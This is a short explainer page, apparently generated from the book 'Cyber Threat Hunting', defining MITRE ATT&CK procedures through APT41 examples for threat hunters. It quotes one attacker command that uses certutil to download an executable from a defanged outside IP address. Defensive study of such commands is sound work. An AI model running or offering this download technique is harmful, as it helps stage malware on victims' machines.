liveBook · Manning

Procedure

As explained in Cyber Threat Hunting

A procedure in the ATT&CK framework is a specific implementation an adversary uses for a technique or subtechnique.

A procedure is a specific implementation an adversary uses for a technique or subtechnique. It captures the concrete behavior behind a broader ATT&CK description. section 2.6

Use procedures to connect adversary behavior with threat-hunting work:

  • Separate the tactical goal from the technique, subtechnique, and the specific implementation used. section 2.6
  • Map known threat-actor activity to procedures when planning hunts and investigating likely behavior. section 2.6

APT41 command execution

For PowerShell, a procedure records that APT41 used PowerShell to deploy malware. For Windows Command Shell, procedures record cmd.exe /c on remote machines and a batch file used to install persistence for Cobalt Strike BEACON. section 2.6

Listing 2.1 APT41 using certutil to download 2.exe
certutil -urlcache -split -f http://91.208.184[.]78/2.exe

Inspect a concrete procedure showing APT41 using certutil to download an executable. section 2.6

How Cyber Threat Hunting covers it

How deep it goes
Descends from tactical goals through techniques and subtechniques to named implementations, without detailing investigative execution.
Examples
Uses APT41 PowerShell, cmd.exe, batch-file persistence, and certutil download examples.
What it assumes
Assumes familiarity with neither detailed internals nor advanced tooling, but distinguishes tactics, techniques, and subtechniques.
What you can do after
Apply via MITRE ATT&CK to organize known adversary behavior and plan investigations.
How it connects
Connects tactics, techniques, subtechniques, threat intelligence, threat actors, and threat hunting.
Cover of Cyber Threat Hunting
liveBookmanning.com
Read Cyber Threat Hunting on liveBook Get the book at manning.com

Also explained in

Compare how 2 books explain procedure →

Related concepts

This explainer was generated by Manning's knowledge graph from the text of Cyber Threat Hunting. The section links point to the parts of the book it draws on.